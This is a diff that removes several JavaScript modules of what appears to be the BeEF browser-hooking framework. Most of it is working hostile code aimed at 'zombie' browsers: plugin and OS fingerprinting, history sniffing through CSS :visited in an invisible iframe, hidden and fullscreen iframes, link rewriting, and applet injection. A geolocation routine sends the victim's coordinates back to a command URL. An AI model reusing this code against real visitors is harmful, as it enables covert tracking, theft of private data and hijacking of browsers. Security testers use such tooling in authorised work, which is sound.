if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the list of plugins installed in the browser.
|
||||
*/
|
||||
getPlugins: function() {
|
||||
var results = '';
|
||||
if (this.isIE())
|
||||
{
|
||||
results = this.getPluginsIE();
|
||||
} else {
|
||||
if (navigator.plugins && navigator.plugins.length > 0)
|
||||
{
|
||||
var length = navigator.plugins.length;
|
||||
for (var i=0; i < length; i++)
|
||||
{
|
||||
if (i != 0)
|
||||
results += ', ';
|
||||
results += navigator.plugins[i].name;
|
||||
}
|
||||
} else {
|
||||
results = 'navigator.plugins is not supported in this browser!';
|
||||
}
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
|
||||
* support navigator.plugins
|
||||
*/
|
||||
getPluginsIE: function() {
|
||||
var results = '';
|
||||
var plugins = {'AdobePDF6':{
|
||||
'control':'PDF.PdfCtrl',
|
||||
'return': function(control) {
|
||||
version = control.getVersions().split(',');
|
||||
version = version[0].split('=');
|
||||
return 'Acrobat Reader v'+parseFloat(version[1]);
|
||||
}},
|
||||
'AdobePDF7':{
|
||||
'control':'AcroPDF.PDF',
|
||||
'return': function(control) {
|
||||
version = control.getVersions().split(',');
|
||||
version = version[0].split('=');
|
||||
return 'Acrobat Reader v'+parseFloat(version[1]);
|
||||
}},
|
||||
'Flash':{
|
||||
'control':'ShockwaveFlash.ShockwaveFlash',
|
||||
'return': function(control) {
|
||||
version = control.getVariable('$version').substring(4);
|
||||
version = version.split(',');
|
||||
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
|
||||
}},
|
||||
'Quicktime':{
|
||||
'control': 'QuickTime.QuickTime',
|
||||
'return': function(control) {
|
||||
return 'QuickTime Player';
|
||||
}},
|
||||
'RealPlayer':{
|
||||
'control': 'RealPlayer',
|
||||
'return': function(control) {
|
||||
version = control.getVersionInfo();
|
||||
return 'RealPlayer v'+parseFloat(version);
|
||||
}},
|
||||
'Shockwave':{
|
||||
'control': 'SWCtl.SWCtl',
|
||||
'return': function(control) {
|
||||
version = control.ShockwaveVersion('').split('r');
|
||||
return 'Shockwave v'+parseFloat(version[0]);
|
||||
}},
|
||||
'WindowsMediaPlayer': {
|
||||
'control': 'WMPlayer.OCX',
|
||||
'return': function(control) {
|
||||
return 'Windows Media Player v'+parseFloat(control.versionInfo);
|
||||
}}
|
||||
};
|
||||
if (window.ActiveXObject) {
|
||||
var j = 0;
|
||||
for (var i in plugins)
|
||||
{
|
||||
var control = null;
|
||||
var version = null;
|
||||
try {
|
||||
control = new ActiveXObject(plugins[i]['control']);
|
||||
} catch (e) { }
|
||||
if (control)
|
||||
{
|
||||
if (j != 0)
|
||||
results += ', ';
|
||||
results += plugins[i]['return'](control);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie screen size and color depth.
|
||||
*/
|
||||
getScreenParams: function() {
|
||||
return {
|
||||
width: window.screen.width,
|
||||
height: window.screen.height,
|
||||
colordepth: window.screen.colorDepth
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie browser window size.
|
||||
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
|
||||
*/
|
||||
getWindowSize: function() {
|
||||
var myWidth = 0, myHeight = 0;
|
||||
if( typeof( window.innerWidth ) == 'number' ) {
|
||||
// Non-IE
|
||||
myWidth = window.innerWidth;
|
||||
myHeight = window.innerHeight;
|
||||
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
|
||||
// IE 6+ in 'standards compliant mode'
|
||||
myWidth = document.documentElement.clientWidth;
|
||||
myHeight = document.documentElement.clientHeight;
|
||||
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
|
||||
// IE 4 compatible
|
||||
myWidth = document.body.clientWidth;
|
||||
myHeight = document.body.clientHeight;
|
||||
}
|
||||
return {
|
||||
width: myWidth,
|
||||
height: myHeight
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
|
||||
*/
|
||||
getDetails: function() {
|
||||
var details = new Array();
|
||||
|
||||
var browser_name = beef.browser.getBrowserName();
|
||||
var browser_version = beef.browser.getBrowserVersion();
|
||||
var browser_reported_name = beef.browser.getBrowserReportedName();
|
||||
var page_title = document.title;
|
||||
var hostname = document.location.hostname;
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var os_name = beef.os.getName();
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
|
||||
if(browser_name) details["BrowserName"] = browser_name;
|
||||
if(browser_version) details["BrowserVersion"] = browser_version;
|
||||
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
|
||||
if(page_title) details["PageTitle"] = page_title;
|
||||
if(hostname) details["HostName"] = hostname;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(internal_ip) details['InternalIP'] = internal_ip;
|
||||
if(internal_hostname) details['InternalHostname'] = internal_hostname;
|
||||
|
||||
return details;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns array of results, whether or not the target zombie has visited the specified URL
|
||||
*/
|
||||
hasVisited: function(urls) {
|
||||
var results = new Array();
|
||||
var iframe = beef.dom.createInvisibleIframe();
|
||||
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
|
||||
ifdoc.open();
|
||||
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
|
||||
ifdoc.close();
|
||||
urls = urls.split("\n");
|
||||
var count = 0;
|
||||
for (var i in urls)
|
||||
{
|
||||
var u = urls[i];
|
||||
if (u != "" || u != null)
|
||||
{
|
||||
var success = false;
|
||||
var a = ifdoc.createElement('a');
|
||||
a.href = u;
|
||||
ifdoc.body.appendChild(a);
|
||||
var width = null;
|
||||
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
|
||||
if (width == '0px') {
|
||||
success = true;
|
||||
}
|
||||
results.push({'url':u, 'visited':success});
|
||||
count++;
|
||||
}
|
||||
}
|
||||
beef.dom.removeElement(iframe);
|
||||
if (results.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Google Gears installed.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @from: https://code.google.com/apis/gears/gears_init.js
|
||||
* */
|
||||
hasGoogleGears: function() {
|
||||
|
||||
if (window.google && google.gears) {
|
||||
return true;
|
||||
}
|
||||
|
||||
var ggfactory = null;
|
||||
|
||||
// Firefox
|
||||
if (typeof GearsFactory != 'undefined') {
|
||||
ggfactory = new GearsFactory();
|
||||
} else {
|
||||
// IE
|
||||
try {
|
||||
ggfactory = new ActiveXObject('Gears.Factory');
|
||||
// IE Mobile on WinCE.
|
||||
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
|
||||
ggfactory.privateSetGlobalObject(this);
|
||||
}
|
||||
} catch (e) {
|
||||
// Safari
|
||||
if ((typeof navigator.mimeTypes != 'undefined')
|
||||
&& navigator.mimeTypes["application/x-googlegears"]) {
|
||||
ggfactory = document.createElement("object");
|
||||
ggfactory.style.display = "none";
|
||||
ggfactory.width = 0;
|
||||
ggfactory.height = 0;
|
||||
ggfactory.type = "application/x-googlegears";
|
||||
document.documentElement.appendChild(ggfactory);
|
||||
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
|
||||
ggfactory = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!ggfactory) {
|
||||
return false
|
||||
} else {
|
||||
return true
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Changes the favicon in firefox only
|
||||
**/
|
||||
changeFavicon: function(favicon_url) {
|
||||
var link = document.createElement('link');
|
||||
link.type = 'image/x-icon';
|
||||
link.rel = 'shortcut icon';
|
||||
link.href = favicon_url;
|
||||
document.getElementsByTagName('head')[0].appendChild(link);
|
||||
},
|
||||
|
||||
/**
|
||||
* Changes page title
|
||||
**/
|
||||
changePageTitle: function(title) {
|
||||
document.title = title;
|
||||
},
|
||||
|
||||
|
||||
/**
|
||||
* A function that gets the max number of simaltaneous connections the browser can make
|
||||
* per domain, or globally on all domains.
|
||||
*
|
||||
* This code is based on research from browserspy.dk
|
||||
*
|
||||
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
|
||||
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
|
||||
* the number of connections to the callback function as "this"
|
||||
*
|
||||
* example usage:
|
||||
* $j.when(getMaxConnections()).done(function(){
|
||||
* console.debug("Max Connections: " + this);
|
||||
* });
|
||||
*
|
||||
*/
|
||||
getMaxConnections: function(scope) {
|
||||
|
||||
var imagesCount = 30; // Max number of images to test.
|
||||
var secondsTimeout = 5; // Image load timeout threashold.
|
||||
var testUrl =""; // The image testing service URL.
|
||||
|
||||
// User broserspy.dk max connections service URL.
|
||||
if(scope=='PER_DOMAIN')
|
||||
testUrl = "http://browserspy.dk/connections.php?img=1&random=";
|
||||
else
|
||||
// The token will be replaced by a different number with each request(different domain).
|
||||
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
|
||||
|
||||
|
||||
var imagesLoaded = 0; // Number of responding images before timeout.
|
||||
var imagesRequested = 0; // Number of requested images.
|
||||
var testImages = new Array(); // Array of all images.
|
||||
var deferredObject = $j.Deferred(); // A jquery Deferred object.
|
||||
|
||||
for (var i = 1; i <= imagesCount; i++)
|
||||
{
|
||||
// Asynchronously request image.
|
||||
testImages[i] =
|
||||
$j.ajax({
|
||||
type: "get",
|
||||
dataType: true,
|
||||
url: (testUrl.replace("<token>",i)) + Math.random(),
|
||||
data: "",
|
||||
timeout: (secondsTimeout * 1000),
|
||||
|
||||
// Function on completion of request.
|
||||
complete: function(jqXHR, textStatus){
|
||||
|
||||
imagesRequested++;
|
||||
|
||||
// If the image returns a 200 or a 302, the text Status is "error", else null
|
||||
if(textStatus == "error")
|
||||
{
|
||||
imagesLoaded++;
|
||||
}
|
||||
|
||||
// If all images requested
|
||||
if(imagesRequested >= imagesCount)
|
||||
{
|
||||
// resolve the deferred object passing the number of loaded images.
|
||||
deferredObject.resolveWith(imagesLoaded);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Return a promise to resolve the deffered object when the images are loaded.
|
||||
return deferredObject.promise();
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser');
|
||||
@@ -1,95 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.browser.cookie
|
||||
*
|
||||
* Provides fuctions for working with cookies.
|
||||
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
|
||||
* Original author unknown.
|
||||
*
|
||||
*/
|
||||
beef.browser.cookie = {
|
||||
|
||||
setCookie: function (name, value, expires, path, domain, secure)
|
||||
{
|
||||
|
||||
var today = new Date();
|
||||
today.setTime( today.getTime() );
|
||||
|
||||
if ( expires )
|
||||
{
|
||||
expires = expires * 1000 * 60 * 60 * 24;
|
||||
}
|
||||
var expires_date = new Date( today.getTime() + (expires) );
|
||||
|
||||
document.cookie = name + "=" +escape( value ) +
|
||||
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
|
||||
( ( path ) ? ";path=" + path : "" ) +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
( ( secure ) ? ";secure" : "" );
|
||||
},
|
||||
|
||||
getCookie: function(name)
|
||||
{
|
||||
var a_all_cookies = document.cookie.split( ';' );
|
||||
var a_temp_cookie = '';
|
||||
var cookie_name = '';
|
||||
var cookie_value = '';
|
||||
var b_cookie_found = false;
|
||||
|
||||
for ( i = 0; i < a_all_cookies.length; i++ )
|
||||
{
|
||||
a_temp_cookie = a_all_cookies[i].split( '=' );
|
||||
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
|
||||
if ( cookie_name == name )
|
||||
{
|
||||
b_cookie_found = true;
|
||||
if ( a_temp_cookie.length > 1 )
|
||||
{
|
||||
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
|
||||
}
|
||||
return cookie_value;
|
||||
break;
|
||||
}
|
||||
a_temp_cookie = null;
|
||||
cookie_name = '';
|
||||
}
|
||||
if ( !b_cookie_found )
|
||||
{
|
||||
return null;
|
||||
}
|
||||
},
|
||||
|
||||
deleteCookie: function (name, path, domain)
|
||||
{
|
||||
if ( this.getCookie(name) ) document.cookie = name + "=" +
|
||||
( ( path ) ? ";path=" + path : "") +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser.cookie');
|
||||
@@ -1,188 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.dom
|
||||
*
|
||||
* Provides functionalities to manipulate the DOM.
|
||||
*/
|
||||
beef.dom = {
|
||||
|
||||
/**
|
||||
* Generates a random ID for HTML elements
|
||||
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
|
||||
* @return: generated id
|
||||
*/
|
||||
generateID: function(prefix) {
|
||||
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
|
||||
},
|
||||
|
||||
/**
|
||||
* Creates a new element but does not append it to the DOM.
|
||||
* @param: {String} the name of the element.
|
||||
* @param: {Literal Object} the attributes of that element.
|
||||
* @return: the created element.
|
||||
*/
|
||||
createElement: function(type, attributes) {
|
||||
var el = document.createElement(type);
|
||||
|
||||
for(index in attributes) {
|
||||
if(typeof attributes[index] == 'string') {
|
||||
el.setAttribute(index, attributes[index]);
|
||||
}
|
||||
}
|
||||
|
||||
return el;
|
||||
},
|
||||
|
||||
/**
|
||||
* Removes element from the DOM.
|
||||
* @param: {String or DOM Object} the target element to be removed.
|
||||
*/
|
||||
removeElement: function(el) {
|
||||
if (!beef.dom.isDOMElement(el))
|
||||
{
|
||||
el = document.getElementById(el);
|
||||
}
|
||||
try {
|
||||
el.parentNode.removeChild(el);
|
||||
} catch (e) { }
|
||||
},
|
||||
|
||||
/**
|
||||
* Tests if the object is a DOM element.
|
||||
* @param: {Object} the DOM element.
|
||||
* @return: true if the object is a DOM element.
|
||||
*/
|
||||
isDOMElement: function(obj) {
|
||||
return (obj.nodeType) ? true : false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Creates an invisible iframe on the hook browser's page.
|
||||
* @return: the iframe.
|
||||
*/
|
||||
createInvisibleIframe: function() {
|
||||
var iframe = this.createElement('iframe', {
|
||||
width: '1px',
|
||||
height: '1px',
|
||||
style: 'visibility:hidden;'
|
||||
});
|
||||
|
||||
document.body.appendChild(iframe);
|
||||
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* @param: {String} type: can be one of the following: hidden, fullscreen, custom
|
||||
* @param: {String} method: can be 'get' or 'post'. defaults to get
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iframe has loaded
|
||||
* @return: {Object} the inserted iframe
|
||||
*/
|
||||
createIframe: function(type, method, params, styles, onload) {
|
||||
var css = {};
|
||||
var form_submit = (method.toLowerCase() == 'post') ? true : false;
|
||||
if (form_submit && params['src'])
|
||||
{
|
||||
var form_action = params['src'];
|
||||
params['src'] = '';
|
||||
}
|
||||
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
|
||||
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
|
||||
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
|
||||
|
||||
if (form_submit && form_action)
|
||||
{
|
||||
var id = beef.dom.generateID();
|
||||
$j(iframe).attr({'id': id, 'name':id});
|
||||
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
|
||||
$j(form).prependTo('body').submit();
|
||||
}
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* @param: {Hash} params: params to be applied to the form element
|
||||
* @param: {Boolean} append: automatically append the form to the body
|
||||
* @return: {Object} a form object
|
||||
*/
|
||||
createForm: function(params, append) {
|
||||
var form = $j('<form></form>').attr(params);
|
||||
if (append)
|
||||
$j('body').append(form);
|
||||
return form;
|
||||
},
|
||||
|
||||
/**
|
||||
* Get the location of the current page.
|
||||
* @return: the location.
|
||||
*/
|
||||
getLocation: function() {
|
||||
return document.location.href;
|
||||
},
|
||||
|
||||
/**
|
||||
* Get links of the current page.
|
||||
* @return: array of URLs.
|
||||
*/
|
||||
getLinks: function() {
|
||||
var linksarray = [];
|
||||
var links = document.links;
|
||||
for(var i = 0; i<links.length; i++) {
|
||||
linksarray = linksarray.concat(links[i].href)
|
||||
};
|
||||
return linksarray
|
||||
},
|
||||
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinks: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
return $j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null)
|
||||
{
|
||||
$j(this).attr('href', url).click(function() { return true; });
|
||||
}
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
* @params: {String} code: name of the class to be loaded. For example, beef.class.
|
||||
* @params: {String} archive: the jar that contains the code.
|
||||
* example usage in code:
|
||||
* beef.dom.attachApplet('appletId', 'SuperMario3D.class', 'http://127.0.0.1:3000/ui/public/images/target.jar');
|
||||
*/
|
||||
attachApplet: function(id, code, archive){
|
||||
var content = null;
|
||||
if(beef.browser.isIE()){
|
||||
content = "" +
|
||||
"<object classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
|
||||
"height='350' width='550' > " +
|
||||
"<param name='code' value='" + code + "' />" +
|
||||
"<param name='archive' value='" + archive + "' />" +
|
||||
"</object>";
|
||||
}else{ // if the hooked browser is not IE, then use the embed tag
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' archive='" + archive + "' " +
|
||||
"height='350' width='550' >" +
|
||||
"</embed>";
|
||||
}
|
||||
$j('body').append(content);
|
||||
},
|
||||
|
||||
/**
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
*/
|
||||
detachApplet: function(id){
|
||||
$j('#' + id + '').detach();
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.dom');
|
||||
@@ -1,73 +0,0 @@
|
||||
// Base64 code from Tyler Akins -- http://rumkin.com
|
||||
|
||||
beef.encode = {};
|
||||
|
||||
beef.encode.base64 = {
|
||||
|
||||
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
encode: function(input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
if(typeof input != "string")
|
||||
input = input.toString();
|
||||
|
||||
do {
|
||||
chr1 = input.charCodeAt(i++);
|
||||
chr2 = input.charCodeAt(i++);
|
||||
chr3 = input.charCodeAt(i++);
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
|
||||
output = output + this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) + this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
|
||||
} while (i < input.length);
|
||||
|
||||
return output;
|
||||
},
|
||||
|
||||
decode: function(input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
|
||||
|
||||
do {
|
||||
enc1 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this.keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
} while (i < input.length);
|
||||
|
||||
return output;
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.encode.base64');
|
||||
@@ -1,119 +0,0 @@
|
||||
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
|
||||
|
||||
beef.encode.json = {
|
||||
|
||||
stringify: function(o) {
|
||||
if (typeof(JSON) == 'object' && JSON.stringify)
|
||||
return JSON.stringify(o);
|
||||
|
||||
var type = typeof(o);
|
||||
|
||||
if (o === null)
|
||||
return "null";
|
||||
|
||||
if (type == "undefined")
|
||||
return '\"\"';
|
||||
|
||||
if (type == "number" || type == "boolean")
|
||||
return o + "";
|
||||
|
||||
if (type == "string")
|
||||
return $j.quoteString(o);
|
||||
|
||||
if (type == 'object')
|
||||
{
|
||||
if (typeof o.toJSON == "function")
|
||||
return $j.toJSON( o.toJSON() );
|
||||
|
||||
if (o.constructor === Date)
|
||||
{
|
||||
var month = o.getUTCMonth() + 1;
|
||||
if (month < 10) month = '0' + month;
|
||||
|
||||
var day = o.getUTCDate();
|
||||
if (day < 10) day = '0' + day;
|
||||
|
||||
var year = o.getUTCFullYear();
|
||||
|
||||
var hours = o.getUTCHours();
|
||||
if (hours < 10) hours = '0' + hours;
|
||||
|
||||
var minutes = o.getUTCMinutes();
|
||||
if (minutes < 10) minutes = '0' + minutes;
|
||||
|
||||
var seconds = o.getUTCSeconds();
|
||||
if (seconds < 10) seconds = '0' + seconds;
|
||||
|
||||
var milli = o.getUTCMilliseconds();
|
||||
if (milli < 100) milli = '0' + milli;
|
||||
if (milli < 10) milli = '0' + milli;
|
||||
|
||||
return '"' + year + '-' + month + '-' + day + 'T' +
|
||||
hours + ':' + minutes + ':' + seconds +
|
||||
'.' + milli + 'Z"';
|
||||
}
|
||||
|
||||
if (o.constructor === Array)
|
||||
{
|
||||
var ret = [];
|
||||
for (var i = 0; i < o.length; i++)
|
||||
ret.push( $j.toJSON(o[i]) || "null" );
|
||||
|
||||
return "[" + ret.join(",") + "]";
|
||||
}
|
||||
|
||||
var pairs = [];
|
||||
for (var k in o) {
|
||||
var name;
|
||||
var type = typeof k;
|
||||
|
||||
if (type == "number")
|
||||
name = '"' + k + '"';
|
||||
else if (type == "string")
|
||||
name = $j.quoteString(k);
|
||||
else
|
||||
continue; //skip non-string or number keys
|
||||
|
||||
if (typeof o[k] == "function")
|
||||
continue; //skip pairs where the value is a function.
|
||||
|
||||
var val = $j.toJSON(o[k]);
|
||||
|
||||
pairs.push(name + ":" + val);
|
||||
}
|
||||
|
||||
return "{" + pairs.join(", ") + "}";
|
||||
}
|
||||
},
|
||||
|
||||
quoteString: function(string) {
|
||||
if (string.match(this._escapeable))
|
||||
{
|
||||
return '"' + string.replace(this._escapeable, function (a)
|
||||
{
|
||||
var c = this._meta[a];
|
||||
if (typeof c === 'string') return c;
|
||||
c = a.charCodeAt();
|
||||
return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
|
||||
}) + '"';
|
||||
}
|
||||
return '"' + string + '"';
|
||||
},
|
||||
|
||||
_escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
|
||||
|
||||
_meta : {
|
||||
'\b': '\\b',
|
||||
'\t': '\\t',
|
||||
'\n': '\\n',
|
||||
'\f': '\\f',
|
||||
'\r': '\\r',
|
||||
'"' : '\\"',
|
||||
'\\': '\\\\'
|
||||
}
|
||||
}
|
||||
|
||||
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
|
||||
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
|
||||
|
||||
beef.regCmp('beef.encode.json');
|
||||
@@ -1,94 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.geolocation
|
||||
*
|
||||
* Provides functionalities to use the geolocation API.
|
||||
*/
|
||||
beef.geolocation = {
|
||||
|
||||
/**
|
||||
* check if browser supports the geolocation API
|
||||
*/
|
||||
isGeolocationEnabled: function(){
|
||||
return !!navigator.geolocation;
|
||||
},
|
||||
|
||||
/*
|
||||
* given latitude/longitude retrieves exact street position of the zombie
|
||||
*/
|
||||
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
|
||||
|
||||
// fixes damned issues with jquery 1.5, like this one:
|
||||
// http://bugs.jquery.com/ticket/8084
|
||||
$j.ajaxSetup({
|
||||
jsonp: null,
|
||||
jsonpCallback: null
|
||||
});
|
||||
|
||||
$j.ajax({
|
||||
error: function(xhr, status, error){
|
||||
//console.log("[geolocation.js] openstreetmap error");
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
+ "&osm=UNAVAILABLE"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
success: function(data, status, xhr){
|
||||
//console.log("[geolocation.js] openstreetmap success");
|
||||
var jsonResp = $j.parseJSON(data);
|
||||
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
// + "&osm=" + encodeURI(jsonResp.display_name)
|
||||
+ "&osm=tofix"
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
type: "get",
|
||||
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
|
||||
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
/*
|
||||
* retrieve latitude/longitude using the geolocation API
|
||||
*/
|
||||
getGeolocation: function (command_url, command_id){
|
||||
|
||||
if (!navigator.geolocation) {
|
||||
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
||||
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||
function(position){ // success
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
||||
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
||||
|
||||
}, function(error){ // failure
|
||||
//console.log("[geolocation.js] error [%d] getting position", error.code);
|
||||
switch(error.code) // Returns 0-3
|
||||
{
|
||||
case 0:
|
||||
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
return;
|
||||
case 1:
|
||||
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
|
||||
return;
|
||||
case 2:
|
||||
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
|
||||
return;
|
||||
case 3:
|
||||
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
},
|
||||
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
beef.regCmp('beef.geolocation');
|
||||
@@ -1,23 +0,0 @@
|
||||
|
||||
